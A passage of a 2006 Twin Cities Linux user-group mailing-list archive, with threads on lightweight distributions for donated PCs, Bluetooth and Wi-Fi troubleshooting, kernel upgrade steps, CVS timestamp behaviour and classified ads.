Paul, Minnesota >tclug-list at mn-linux.org >http://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > From clay at fandre.com Tue Mar 28 00:31:00 2006 From: clay at fandre.com (Clay Fandre) Date: Tue, 28 Mar 2006 00:31:00 -0600 Subject: [tclug-list] Next meeting In-Reply-To: <442667B2.5010301@mchsi.com> References: <442667B2.5010301@mchsi.com> Message-ID: <4428D824.20306@fandre.com> I haven't had much luck in finding a speaker yet. Therefore we probably won't be having a meeting on the 1st, but I am still trying to get something lined up for the 8th. So, is anyone willing to talk on the 8th? ;-) -- Clay nick thompson wrote: > Hi guys, > When is the next meeting? I haven't been in a really long time and I > want to start coming again more regularly. Is april happening? > > Nick Thompson > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > tclug-list at mn-linux.org > http://mailman.mn-linux.org/mailman/listinfo/tclug-list From jus at krytosvirus.com Tue Mar 28 02:03:46 2006 From: jus at krytosvirus.com (Justin Krejci) Date: Tue, 28 Mar 2006 02:03:46 -0600 Subject: [tclug-list] Small Linux Distro In-Reply-To: <22971469.1143505013766.JavaMail.root@sniper6> References: <22971469.1143505013766.JavaMail.root@sniper6> Message-ID: <200603280203.47694.jus@krytosvirus.com> I would recommend you check out Xandros - http://www.xandros.com/ I have not used any recent versions but the ease of use with an older version that I have used was phenominal. It was very slick and simple. It was and presumably still is debian based which means apt for install/update (they had/have their own GUI). It is a very windows friendly distro and they have a free downloadable version via bittorrent. Anyways I use Gentoo personally but I would not recommend it for you in this case unless you really feel like learning linux and the linux way of doing things. On Monday 27 March 2006 06:06 pm, Steve wrote: > Need Help, > The "Little Brothers, Friends of the Elderly" organization in the Twin > Cities area helps older people live an interesting life, especially > those whose spouses/significant others are deceased. It is primarily a > non-profit supported by contributions of money and time by volunteer > helpers/workers. You may or maynot be familiar; sorry for verbage if > you are. > > O.K. they replaced all the office computers recently and now have a > dozen or so which they would like to place in elder/client homes for > their use. I have volunteered to erase all office data on hard drive > and install email and word processing software. > > Now we are getting to the problem; the computers have MS Windows 2000 > Pro as OS and most have only 15 gig hard drives (a couple only have 2 > gig drives - those probably won't be used). The boxes are password > protected and the pw's are not always available. So my thinking is to > reformat & install Linux (my experience is quite limited). > > I have downloaded Ubuntu 5.10 at home, wrote to a CD and installed on a > box. It works great but required considerably more than 15 gigs. > > Is the a Linux distro plus email and word processor which can be put > into approx 10 or 12 gig drive space?? > > BTW - if you happen to be available during business hours Mon - Fri, you > are welcome to help with project. > > Thanks, > Steve From lclemens at mn.rr.com Tue Mar 28 09:42:21 2006 From: lclemens at mn.rr.com (Lawrence Clemens) Date: Tue, 28 Mar 2006 09:42:21 -0600 Subject: [tclug-list] Small Linux Distro Message-ID: <002001c6527e$34648e40$24fea8c0@selfp6xu3g1ng9> Relative to W2K or Linux for seniors If you stay with the W2K installation, you can put in winmodems and the recipients can get dial up Internet. That's lots cheaper than broadband and probably will fit their senior needs - likely email and light surfing. I can give you some advice and limited help getting a W2K package together that could be cloned for the whole lot. If you go Linux, Simply Mepis 3.4-3 will install in less than a gig and has good hardware support, even for some winmodems. BTW I would like any advice from the list relative to a good dialup ISP in the area that supports Linux. Larry Clemens - St. Vincent dePaul -------------- next part -------------- An HTML attachment was scrubbed... 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They are a very good ISP in my opinion. nick From bradyh at bitstream.net Tue Mar 28 10:11:41 2006 From: bradyh at bitstream.net (bradyh at bitstream.net) Date: Tue, 28 Mar 2006 10:11:41 -0600 (CST) Subject: [tclug-list] USB Bluetooth Message-ID: <48764.132.189.76.10.1143562301.squirrel@webmail.iphouse.com> Can anytone share experiences with bluetooth on linux? I'm hoping to be able to transfer files between my Palm and my Linux box. So far I've gotten only crashes trying to synch up through the USB cable. (Though I was able to back up my pilot to the box.) Thanks, Brady From slushpupie at gmail.com Tue Mar 28 10:23:41 2006 From: slushpupie at gmail.com ( ) Date: Tue, 28 Mar 2006 10:23:41 -0600 Subject: [tclug-list] USB Bluetooth In-Reply-To: <48764.132.189.76.10.1143562301.squirrel@webmail.iphouse.com> References: <48764.132.189.76.10.1143562301.squirrel@webmail.iphouse.com> Message-ID: On 3/28/06, bradyh at bitstream.net wrote: > Can anytone share experiences with bluetooth on linux? I'm hoping to be > able to transfer files between my Palm and my Linux box. So far I've > gotten only crashes trying to synch up through the USB cable. (Though I > was able to back up my pilot to the box.) Ive not used bluetooth to sync a plam or anything like that, but I do use it for keyboard and mouse- works very well. -- Jay Kline http://www.slushpupie.com/ From random at argle.org Tue Mar 28 10:27:38 2006 From: random at argle.org (Daniel Taylor) Date: Tue, 28 Mar 2006 10:27:38 -0600 Subject: [tclug-list] Small Linux Distro In-Reply-To: <1143504391.3756.24.camel@localhost.localdomain> References: <1143504391.3756.24.camel@localhost.localdomain> Message-ID: <442963FA.6030305@argle.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Steve wrote: > Now we are getting to the problem; the computers have MS Windows 2000 > Pro as OS and most have only 15 gig hard drives (a couple only have 2 > gig drives - those probably won't be used). The boxes are password > protected and the pw's are not always available. So my thinking is to > reformat & install Linux (my experience is quite limited). > > I have downloaded Ubuntu 5.10 at home, wrote to a CD and installed on a > box. It works great but required considerably more than 15 gigs. You have got to be kidding. Did you install the kitchen sink too? Ubuntu 5.10, AMD64 (larger binaries than x86) dtaylor at morden:~$ df -h . Filesystem Size Used Avail Use% Mounted on /dev/sda2 230G 9.0G 221G 4% / dtaylor at morden:~$ du -sh ~ /usr/src /usr/local 5.8G /home/dtaylor 1.1G /usr/src 113M /usr/local dtaylor at morden:~$ That's 2GB of OS files including OpenOffice, Firefox, Mozilla, Gimp, and several other major packages including development environments that will not be needed for your intended environment. If you just go with the basic install, all Gnome for Ubuntu or all KDE for Kubuntu, there should be no problem at all fitting everything in. If you use the Gnome Office suite instead of OOo and skip the development environments and Gimp it should all install nicely on the 2GB disk systems. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.1 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFEKWP68/QSptFdBtURAvPKAKCAlaT0kHHiZEs3bJ5iNEDa2KNqVwCeMENi xyoZaTibaQn1MffrXNd3f/I= =5Hyg -----END PGP SIGNATURE----- From cdf123 at cdf123.net Tue Mar 28 12:49:35 2006 From: cdf123 at cdf123.net (Chris Frederick) Date: Tue, 28 Mar 2006 10:49:35 -0800 Subject: [tclug-list] USB Bluetooth In-Reply-To: <48764.132.189.76.10.1143562301.squirrel@webmail.iphouse.com> References: <48764.132.189.76.10.1143562301.squirrel@webmail.iphouse.com> Message-ID: <4429853F.90805@cdf123.net> I'm working on a small personal project. (and by working, I mean doing other projects, occasionally thinking about it and how nice it would be to get done) I have a RAZOR cell phone and I've linked it to my Gentoo server through a USB Bluetooth adapter. I've had pretty good success with it so far. I've sent pictures to the phone, but I haven't sent anything from the phone yet. The project goal is to link my online horde calendar with the calendar on the cell phone. Setting up a cron job that runs once every few hours to attempt a connection with the phone and, if successful, push the new calendar entries to the phone. This would be really cool since I wouldn't have to do anything to sync. The phone can accept different "objects" through the bluetooth connection and place them where they are supposed to go. So a Java app will be installed as a game, and a picture will be saved in the photo gallery. Though I can't find any info on using this for date records. There's a sync protocol that it uses, but first glance shows it to be fairly complex. With those two being my only options for syncing, I'm kind of sitting still on this at the moment. I still use the bluetooth for images though. And it works really good. I can take a picture from the digital camera, edit, scale, and crop it to my liking and send it to the phone. This saves me from sending it through email to the phone and getting charged for a picture message. Granted a RAZOR is a far cry from a Palm, but so far syncing with my phone is painless. As long as the software that you are using to sync with the Palm supports a bluetooth connection, I should work out good. I'm running all this on a personal server and I haven't had any lockups or crashes or anything. It's been really smooth and stable, and I just got a cheep adapter. As I said a RAZOR is a far cry from a Palm, but I hope this helps a little. Good luck. Chris bradyh at bitstream.net wrote: > Can anytone share experiences with bluetooth on linux? I'm hoping to be > able to transfer files between my Palm and my Linux box. So far I've > gotten only crashes trying to synch up through the USB cable. (Though I > was able to back up my pilot to the box.) > > Thanks, > Brady > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > tclug-list at mn-linux.org > http://mailman.mn-linux.org/mailman/listinfo/tclug-list From bradyh at bitstream.net Tue Mar 28 11:03:19 2006 From: bradyh at bitstream.net (bradyh at bitstream.net) Date: Tue, 28 Mar 2006 11:03:19 -0600 (CST) Subject: [tclug-list] USB Bluetooth In-Reply-To: References: <48764.132.189.76.10.1143562301.squirrel@webmail.iphouse.com> Message-ID: <22127.132.189.76.10.1143565399.squirrel@webmail.iphouse.com> Any ideas what to avoid or what to go for as far as Bluetooth hardware? I'll need a dongle I guess but I've never looked into those things. Brady > Ive not used bluetooth to sync a plam or anything like that, but I do > use it for keyboard and mouse- works very well. > > -- > Jay Kline > http://www.slushpupie.com/ > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > tclug-list at mn-linux.org > http://mailman.mn-linux.org/mailman/listinfo/tclug-list > From jkjones at tcq.net Tue Mar 28 12:00:46 2006 From: jkjones at tcq.net (jkjones at tcq.net) Date: Tue, 28 Mar 2006 18:00:46 GMT Subject: [tclug-list] Wireless connections Message-ID: Anyone have any words of wisdom on wireless connections? I'm running Kubuntu (KDE Ubuntu) on my notebook with built-in wireless card. I have no trouble at all when I'm home and I connect to my own router (with NAT and WEP). But when I try to use a "free wireless" at a library or Dunn Bros (where I am now), getting a connection is hit-or-miss. I usually start with KWiFiManager, which always finds the access point right away. But I can't get an IP address through dhcp with any consistency. Most of the time, nothing happens for 5 to 10 minutes (when I lose patience and try something else). Once in a while, after several false starts, everything works and I get a connection. I've tried most of the options with the command-line commands: ifconfig, iwconfig, ifup, ifdown and so on, but I've never found anything that gets a connection. I've tried all the combinations in KWiFiManager -- they seem to be equivalent to the command-line options; the GUI's a little easier to read. I don't know if it means anything, but dmesg adds lines "wlan0: no IPv6 routers present" for every time I hit "Activate" in KWiFiManager. Thanks for any suggestions... Kraig Jones From leif.t.johnson at gmail.com Tue Mar 28 12:13:56 2006 From: leif.t.johnson at gmail.com (Leif Johnson) Date: Tue, 28 Mar 2006 12:13:56 -0600 Subject: [tclug-list] Wireless connections In-Reply-To: <44297ac1.632a6d1a.603d.1c5cSMTPIN_ADDED@mx.gmail.com> References: <44297ac1.632a6d1a.603d.1c5cSMTPIN_ADDED@mx.gmail.com> Message-ID: On 3/28/06, jkjones at tcq.net wrote: > > > I don't know if it means anything, but dmesg adds lines "wlan0: no IPv6 > routers present" for every time I hit "Activate" in KWiFiManager. > > It might mean something. Probably they are using the the router that came with the connection. I know that the default QWest DSL router DOES NOT support IPv6. I'm not really up to speed on networking stuff, so I'm sure someone will correct me on this. leif -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mailman.mn-linux.org/pipermail/tclug-list/attachments/20060328/f2085719/attachment.html From silwenae at silwenae.com Tue Mar 28 12:14:37 2006 From: silwenae at silwenae.com (Paul Cutler) Date: Tue, 28 Mar 2006 12:14:37 -0600 Subject: [tclug-list] Wireless connections Message-ID: <44297D0D.3090200@silwenae.com> Are you running Kubuntu 5.10 (breezy badger) or Dapper Drake? I know on the forthcoming Dapper, they've finally added NetworkManager, which is going to fix a lot of your problems below. Paul jkjones at tcq.net wrote: >Anyone have any words of wisdom on wireless connections? I'm running >Kubuntu (KDE Ubuntu) on my notebook with built-in wireless card. I have no >trouble at all when I'm home and I connect to my own router (with NAT and >WEP). But when I try to use a "free wireless" at a library or Dunn Bros >(where I am now), getting a connection is hit-or-miss. I usually start >with KWiFiManager, which always finds the access point right away. But I >can't get an IP address through dhcp with any consistency. Most of the >time, nothing happens for 5 to 10 minutes (when I lose patience and try >something else). Once in a while, after several false starts, everything >works and I get a connection. > >I've tried most of the options with the command-line commands: ifconfig, >iwconfig, ifup, ifdown and so on, but I've never found anything that gets a >connection. I've tried all the combinations in KWiFiManager -- they seem >to be equivalent to the command-line options; the GUI's a little easier to >read. > >I don't know if it means anything, but dmesg adds lines "wlan0: no IPv6 >routers present" for every time I hit "Activate" in KWiFiManager. > >Thanks for any suggestions... > >Kraig Jones > > > >_______________________________________________ >TCLUG Mailing List - Minneapolis/St. Paul, Minnesota >tclug-list at mn-linux.org >http://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > > From jkjones at tcq.net Tue Mar 28 12:29:55 2006 From: jkjones at tcq.net (jkjones at tcq.net) Date: Tue, 28 Mar 2006 18:29:55 GMT Subject: [tclug-list] Wireless connections Message-ID: > Are you running Kubuntu 5.10 (breezy badger) or Dapper Drake? I know on > the forthcoming Dapper, they've finally added NetworkManager, which is > going to fix a lot of your problems below. > > Paul > Breezy Badger. Thanks for the suggestion, I'll watch for the new Dapper. Kraig From dalan at visi.com Tue Mar 28 12:34:58 2006 From: dalan at visi.com (dalan at visi.com) Date: Tue, 28 Mar 2006 12:34:58 -0600 Subject: [tclug-list] CYGWIN, mouse configuration Message-ID: <1143570898.442981d2e33c0@my.visi.com> Howdy gang, I use Cygwin at work, this is the first job where the mouse button configuration is not what I would like. Does anyone know where this is set for the standard bash shell --login screen? Thanks Don S. From jonathon.jongsma at gmail.com Tue Mar 28 12:44:33 2006 From: jonathon.jongsma at gmail.com (Jonathon Jongsma) Date: Tue, 28 Mar 2006 12:44:33 -0600 Subject: [tclug-list] Wireless connections In-Reply-To: <44297D0D.3090200@silwenae.com> References: <44297D0D.3090200@silwenae.com> Message-ID: On 3/28/06, Paul Cutler wrote: > Are you running Kubuntu 5.10 (breezy badger) or Dapper Drake? I know on > the forthcoming Dapper, they've finally added NetworkManager, which is > going to fix a lot of your problems below. > > Paul > NetworkManager is a great thing if you can get it to work with your card. As far as I know, however, it still doesn't work with quite a few different wireless cards (notably broadcom-based cards if I recall correctly -- though I haven't tried it recently and I'd be happy to be proven wrong). So it may not solve all of your problems, depending on which type of wireless card you have. Jonathon From ryan.langseth at gmail.com Tue Mar 28 13:13:10 2006 From: ryan.langseth at gmail.com (Ryan Langseth) Date: Tue, 28 Mar 2006 13:13:10 -0600 Subject: [tclug-list] USB Bluetooth In-Reply-To: <22127.132.189.76.10.1143565399.squirrel@webmail.iphouse.com> References: <48764.132.189.76.10.1143562301.squirrel@webmail.iphouse.com> <22127.132.189.76.10.1143565399.squirrel@webmail.iphouse.com> Message-ID: I had no problems syncing my nokia 6255 to debian/ubuntu/suse. I am using an iogear usb dongle, it detects it without problems. On 3/28/06, bradyh at bitstream.net wrote: > > Any ideas what to avoid or what to go for as far as Bluetooth hardware? > I'll need a dongle I guess but I've never looked into those things. > > Brady > > > Ive not used bluetooth to sync a plam or anything like that, but I do > > use it for keyboard and mouse- works very well. > > > > -- > > Jay Kline > > http://www.slushpupie.com/ > > > > _______________________________________________ > > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > > tclug-list at mn-linux.org > > http://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > tclug-list at mn-linux.org > http://mailman.mn-linux.org/mailman/listinfo/tclug-list > -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mailman.mn-linux.org/pipermail/tclug-list/attachments/20060328/369bc3ae/attachment.htm From rclark at lakesplus.com Tue Mar 28 13:17:38 2006 From: rclark at lakesplus.com (Randy Clarksean) Date: Tue, 28 Mar 2006 13:17:38 -0600 Subject: [tclug-list] rdesktop - pritner redirection In-Reply-To: <000001c65206$60edb3b0$0d00a8c0@laptop1> References: <000001c65206$60edb3b0$0d00a8c0@laptop1> Message-ID: <1143573458.20761.45.camel@iwill> well ... I have tried the basics you have shown below ... but no such luck. I have basically done the same as -r printer:mydeskjet with no luck. There does not even appear to be a request for a printer redirection on the other end. hmmmm ... Randy On Mon, 2006-03-27 at 19:24 -0600, Raymond Norton wrote: > > I am having some issues in redirecting a printer to my local system when > I use rdesktop as a terminal server. It was working previously, but for > some reason now - it no longer works. Thoughts or suggestions > welcome. > > '-r lptport:LPT1=/dev/lp0': enable parallel redirection of /dev/lp0 to > LPT1 > or LPT1=/dev/lp0,LPT2=/dev/lp1 > '-r printer:mydeskjet': enable printer redirection > or mydeskjet="HP LaserJet IIIP" to enter server driver > as well From webmaster at mn-linux.org Tue Mar 28 16:48:22 2006 From: webmaster at mn-linux.org (TCLUG Classifieds) Date: Tue, 28 Mar 2006 16:48:22 -0600 Subject: [tclug-list] New TCLUG Classified Ad Message-ID: <200603282248.k2SMmMs23580@crusader.real-time.com> New TCLUG Classified Ad Category: Computer Type of Ad: For Free Subject: P2 350 and 17 inch monitor Gateway P2 350 system. No hard drive, only 32mg ram. I can include a tiny HD if you are building a firewall. Gateway 17 inch monitor, works fine. Pick-up in Apple Valley. Seller Email address: pclinux at charter dot net http://www.mn-linux.org/cgi-bin/classifieds/index.cgi From admin at lctn.org Tue Mar 28 21:49:09 2006 From: admin at lctn.org (Raymond Norton) Date: Tue, 28 Mar 2006 21:49:09 -0600 (CST) Subject: [tclug-list] rdesktop - printer redirection In-Reply-To: <1143573458.20761.45.camel@iwill> References: <000001c65206$60edb3b0$0d00a8c0@laptop1> <1143573458.20761.45.camel@iwill> Message-ID: <55054.204.212.34.10.1143604149.squirrel@lctn.org> > well ... I have tried the basics you have shown below ... but no such > luck. I have basically done the same as > Any errors under system events about the driver not being loaded? From josh at trutwins.homeip.net Tue Mar 28 22:50:24 2006 From: josh at trutwins.homeip.net (Josh Trutwin) Date: Tue, 28 Mar 2006 22:50:24 -0600 Subject: [tclug-list] 2.4 to 2.6 kernel upgrade In-Reply-To: <67f3084a0603251232q12216200q88fbf705f7e7efe9@mail.gmail.com> References: <67f3084a0603251232q12216200q88fbf705f7e7efe9@mail.gmail.com> Message-ID: <442A1210.7090400@trutwins.homeip.net> Shawn Fertch wrote: > When upgrading from a 2.4 to 2.6 kernel, can I use a .config file from 2.4? > > Also, what would be the procedural steps to do the upgrade? > > Can I do everything under the 2.4 kernel, or do I need to be in the 2.6? > > Sad to say I've never done a kernel recompile or upgrade in all the > years I've been using Linux.... I just did this tonight finally on a remote production Debian box - went fairly well. You can usually do the following: 1.) download newest kernel source tree - untar and go into the source directory. 2.) cp /boot/config-2.4.xx .config (where xx is your current version) 3.) make oldconfig - answer when prompted about new/changed configuration items - most answers will be 'N' 4.) make 5.) su 6.) make modules_install 7.) cp .config /boot/config-2.6.xx 8.) cp System.map /boot/System.map-2.6.xx 9.) cp arch/i386/boot/bzImage /boot/vmlinuz-2.6.xx 10.) Edit lilo or grub config files to load new kernel boot record into MBR. 11.) reboot At least that's what works for me - I'm not saying it's that simple. With a major release upgrade you'll want to carefully compare the config files between the working 2.4 version and the one you get after make oldconfig (or make menuconfig/xconfig if you prefer) - for example, I had to manually redo all my Netfilter (iptables) options in my 2.6 config file because "make oldconfig" didn't enable a lot of the options I had in my 2.4 kernel for some reason - rebooted and my firewall didn't come up. Other than that though it went well. Here's a nice tip if you use lilo on a remote server. If you run: lilo -v lilo -v -R LinuxNEW where LinuxNEW is a new entry in lilo.conf - then the next reboot will boot into the kernel defined in the LinuxNEW label and if it fails and you get a kernel panic the next reboot will boot back into your usual working default kernel image. Hope that helps, Josh From charley_jacks at yahoo.com Mon Mar 27 16:14:42 2006 From: charley_jacks at yahoo.com (Cyrissa Jackson) Date: Mon, 27 Mar 2006 14:14:42 -0800 (PST) Subject: [tclug-list] [TCLUG] Re: tclug-list digest, Vol 1 #1968 - 5 msgs (OoO - ) Message-ID: <20060327221442.67339.qmail@web38415.mail.mud.yahoo.com> WHERE AND HOW CAN I GET INTO THE ROOT DIRECTORY AND CHANGE THE SETTINGS? MY ERROR REPORT SAYS I NEED TO GO TO THE ROOT DIRECTORY.MY EMAIL DOES NOT COME DIRECTLY INTO MY INBOXOR MY HOMEPAGE.I GOOFED IN ONE PROGRAM AND C AN'T REMEMBER WHERE I WAS AT. THE AREA SAID YOUR POP3 IS ?, I TYPED IN POP3 &THE QUESTION FOR SMTP, ITYPED IN SMTP, OR IS IT STMP? PLEASE HELP? --------------------------------- Talk is cheap. Use Yahoo! Messenger to make PC-to-Phone calls. Great rates starting at 1¢/min. -------------- next part -------------- An HTML attachment was scrubbed... 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Trammell) Date: Wed, 29 Mar 2006 13:12:58 -0600 Subject: [tclug-list] [TCLUG] Re: tclug-list digest, Vol 1 #1968 - 5 msgs (OoO - ) In-Reply-To: <20060327221442.67339.qmail@web38415.mail.mud.yahoo.com> References: <20060327221442.67339.qmail@web38415.mail.mud.yahoo.com> Message-ID: <20060329191258.GA31168@mail.el-swifto.com> On Mon, Mar 27, 2006 at 02:14:42PM -0800, Cyrissa Jackson wrote: > WHERE AND HOW CAN I GET INTO THE ROOT DIRECTORY AND CHANGE THE > SETTINGS? MY ERROR REPORT SAYS I NEED TO GO TO THE ROOT DIRECTORY.MY > EMAIL DOES NOT COME DIRECTLY INTO MY INBOXOR MY HOMEPAGE.I GOOFED IN > ONE PROGRAM AND C AN'T REMEMBER WHERE I WAS AT. THE AREA SAID YOUR > POP3 IS ?, I TYPED IN POP3 &THE QUESTION FOR SMTP, ITYPED IN SMTP, OR > IS IT STMP? PLEASE HELP? Hello Cyrissa: You're going to need to supply a lot more information before anyone is going to be able to help you get your email working. I may take some heat for suggesting this, but if I were you, I'd just stick with webmail--I guarantee it will cause you much less grief. JT -- trammell at el-swifto.com 9EC7 BC6D E688 A184 9F58 FD4C 2C12 CC14 8ABA 36F5 Twin Cities Linux Users Group (TCLUG) Minneapolis/St. Paul, Minnesota From erikerik at gmail.com Wed Mar 29 14:15:59 2006 From: erikerik at gmail.com (Erik Anderson) Date: Wed, 29 Mar 2006 14:15:59 -0600 Subject: [tclug-list] odd CVS timestamp issue Message-ID: I'm trying to troubleshoot a cvs issue here...when I commit a file, the timestamp on the file commit is correct, however, the timestamp placed *in* the file in place of the $Header$ tag is 6 hours fast. So for instance: If I query the revision history of a file, I get this information: Revision: 1.1, Wed Mar 29 14:08:57 2006 CST If I view that revision of the file, the $Header$ text is this: ...1.1 2006/03/29 20:08:57... I know this has something to do with timezones not matching up, but I've checked through everything I can think of and can't find any blatent mis-configurations. The timezone on the server is correct. It looks like when doing a commit, CVS is ignoring the timezone setting on the server and setting the header timestamp according to GMT. Is there a way to change this behavior? Thanks- Erik -- Erik Anderson http://andersonfam.org From florin at iucha.net Wed Mar 29 14:38:56 2006 From: florin at iucha.net (Florin Iucha) Date: Wed, 29 Mar 2006 14:38:56 -0600 Subject: [tclug-list] odd CVS timestamp issue In-Reply-To: References: Message-ID: <20060329203856.GA5637@iucha.net> On Wed, Mar 29, 2006 at 02:15:59PM -0600, Erik Anderson wrote: > I'm trying to troubleshoot a cvs issue here...when I commit a file, > the timestamp on the file commit is correct, however, the timestamp > placed *in* the file in place of the $Header$ tag is 6 hours fast. So > for instance: > > If I query the revision history of a file, I get this information: > > Revision: 1.1, Wed Mar 29 14:08:57 2006 CST > > If I view that revision of the file, the $Header$ text is this: > > ...1.1 2006/03/29 20:08:57... > > I know this has something to do with timezones not matching up, but > I've checked through everything I can think of and can't find any > blatent mis-configurations. The timezone on the server is correct. > It looks like when doing a commit, CVS is ignoring the timezone > setting on the server and setting the header timestamp according to > GMT. Is there a way to change this behavior? Even if it were, what makes your timezone special? What happens if you in St. Paul and Kim and Seul both check-in code? Whose timezone shall be used? What happens if you move the server, or switch to a remote replica after a disaster hits your server? Should all the files on the server be updated? florin -- There was a typo, but on the wrong page. -- Vipin Kumar -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 191 bytes Desc: Digital signature Url : http://mailman.mn-linux.org/pipermail/tclug-list/attachments/20060329/f7ee1ca2/attachment.pgp From erikerik at gmail.com Wed Mar 29 14:55:48 2006 From: erikerik at gmail.com (Erik Anderson) Date: Wed, 29 Mar 2006 14:55:48 -0600 Subject: [tclug-list] odd CVS timestamp issue In-Reply-To: <20060329203856.GA5637@iucha.net> References: <20060329203856.GA5637@iucha.net> Message-ID: On 3/29/06, Florin Iucha wrote: > > Even if it were, what makes your timezone special? > > What happens if you in St. Paul and Kim and Seul both check-in code? Whose > timezone shall be used? > > What happens if you move the server, or switch to a remote replica > after a disaster hits your server? Should all the files on the server > be updated? Whoa there - I appreciate your sentiments, but I wasn't looking for a lecture on the subject. This is a private CVS server, and 99% of the people that use it live in the central timezone. Call me naive, but I asked a simple question and was hoping for a simple answer. From rhavenn at rhavenn.net Wed Mar 29 15:16:54 2006 From: rhavenn at rhavenn.net (Henrik Hudson) Date: Wed, 29 Mar 2006 15:16:54 -0600 Subject: [tclug-list] odd CVS timestamp issue In-Reply-To: References: <20060329203856.GA5637@iucha.net> Message-ID: <200603291516.54958.rhavenn@rhavenn.net> On Wednesday 29 March 2006 14:55, "Erik Anderson" sent a missive stating: > On 3/29/06, Florin Iucha wrote: > > Even if it were, what makes your timezone special? > > > > What happens if you in St. Paul and Kim and Seul both check-in code? > > Whose timezone shall be used? > > > > What happens if you move the server, or switch to a remote replica > > after a disaster hits your server? Should all the files on the server > > be updated? > > Whoa there - I appreciate your sentiments, but I wasn't looking for a > lecture on the subject. > > This is a private CVS server, and 99% of the people that use it live > in the central timezone. Call me naive, but I asked a simple question > and was hoping for a simple answer. > What he's trying to say is that it's up to the CVS client to display the correct time for the particular users location. The server stores the timestamp in GMT, so that your pal in Nepal updating a file and your buddy in Norwak, CT can update the file at the same time and not have problems with the different changes. They of course would see change dates as being relative to their time. This is a good thing. The behaviour shouldn't be changed. The client and server display the right time relative to the location they're at and internal it uses GMT. This will save you hardship should the server ever move, etc... Henrik -- Henrik Hudson rhavenn at rhavenn.net ------------------------------ "There are 10 kinds of people in the world: Those who understand binary and those who don't..." From sfertch at gmail.com Thu Mar 30 21:35:08 2006 From: sfertch at gmail.com (Shawn Fertch) Date: Thu, 30 Mar 2006 21:35:08 -0600 Subject: [tclug-list] 2.4 to 2.6 kernel upgrade In-Reply-To: <442A1210.7090400@trutwins.homeip.net> References: <67f3084a0603251232q12216200q88fbf705f7e7efe9@mail.gmail.com> <442A1210.7090400@trutwins.homeip.net> Message-ID: <67f3084a0603301935n14251cb6wbe679e9e94dbda10@mail.gmail.com> On 3/28/06, Josh Trutwin wrote: > > I just did this tonight finally on a remote production Debian box - > went fairly well. You can usually do the following: > > 1.) download newest kernel source tree - untar and go into the source > directory. > 2.) cp /boot/config-2.4.xx .config (where xx is your current version) > 3.) make oldconfig - answer when prompted about new/changed > configuration items - most answers will be 'N' > 4.) make > 5.) su > 6.) make modules_install > 7.) cp .config /boot/config-2.6.xx > 8.) cp System.map /boot/System.map-2.6.xx > 9.) cp arch/i386/boot/bzImage /boot/vmlinuz-2.6.xx > 10.) Edit lilo or grub config files to load new kernel boot record > into MBR. > 11.) reboot > > At least that's what works for me - I'm not saying it's that simple. > With a major release upgrade you'll want to carefully compare the > config files between the working 2.4 version and the one you get after > make oldconfig (or make menuconfig/xconfig if you prefer) - for > example, I had to manually redo all my Netfilter (iptables) options in > my 2.6 config file because "make oldconfig" didn't enable a lot of the > options I had in my 2.4 kernel for some reason - rebooted and my > firewall didn't come up. Other than that though it went well. > > Here's a nice tip if you use lilo on a remote server. If you run: > > lilo -v > lilo -v -R LinuxNEW > > where LinuxNEW is a new entry in lilo.conf - then the next reboot will > boot into the kernel defined in the LinuxNEW label and if it fails and > you get a kernel panic the next reboot will boot back into your usual > working default kernel image. > Thanks Josh. At the moment, I think I'm going to stick with the 2.4kernel. Not sure if I'm feeling brave enough to attempt a massive upgrade to Slack-current on my desktop. Being that I haven't had a successful compile before on a kernel, I want to keep the same config I have, just tweak it for larger memory (>1GB), nForce drivers and an AMD processor. Is this the correct process? cp /usr/src/linux /usr/src/linux-newversion cd /usr/src/linux-newversion step the EXTRAVERSION in /usr/src/linux-newversion make oldconfig make dep make menuconfig or xconfig (modifying the kernel) make dep make clean make bzImage make modules Beyond that is where I get mixed up. I've read Slack documentation, and countless other places from Linuxquestions.org and alt.os.linux.slackwareand beyond. Everyone has their own way of doing it, but I have yet to find on that seems to work for me. Thanks! -- -Shawn -Nemo me impune lacessit. Ne Obliviscaris.. -------------- next part -------------- An HTML attachment was scrubbed... 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Computer Stand Instruction Manuals All of the original disks Mac OS X Killer Tips book (30.00 value) 5 USB ports 56k internal modem Headphone jack Norton Anti-Virus Sale Price: $450 O.B.O Seller Email address: jlanpher at stealthnetworking dot net http://www.mn-linux.org/cgi-bin/classifieds/index.cgi From nicholas.thompson1 at mchsi.com Thu Mar 30 22:19:29 2006 From: nicholas.thompson1 at mchsi.com (nick thompson) Date: Thu, 30 Mar 2006 22:19:29 -0600 Subject: [tclug-list] cheapest place in town for 2.5" drive > 20gb Message-ID: <442CADD1.20300@mchsi.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi guys, I was wondering if anybody had any tips on somewhere in town to get a cheap 2.5" drive larger than 20 gigs? There is a 40 at general nano for $89.99 and a 60 for $99.99, but that's a little rich for my blood at the moment. Anyway, any used shops I'm not aware of, or if anybody has one sitting around, I've got all sorts of hardware to trade, big usb drives, nice logitech pro usb headset, tons of stuff. Anyway, any used shop tips or even if you have one to get rid of... thanks a lot nick -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.2.2 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFELK3RybtJ236hNocRAhndAJwPrnTZRGvNAUmWvQF36+2riVXM6ACfeuaw 9XEqE/O/+nWBh6cfbTMdvS4= =eNKI -----END PGP SIGNATURE----- From srcfoo at gmail.com Fri Mar 31 09:25:40 2006 From: srcfoo at gmail.com (Eric Peterson) Date: Fri, 31 Mar 2006 09:25:40 -0600 Subject: [tclug-list] Minnebar barcamp? Message-ID: <579c6fd30603310725q3ba84785nd09d7985eedd1278@mail.gmail.com> I found this on the nagios website: 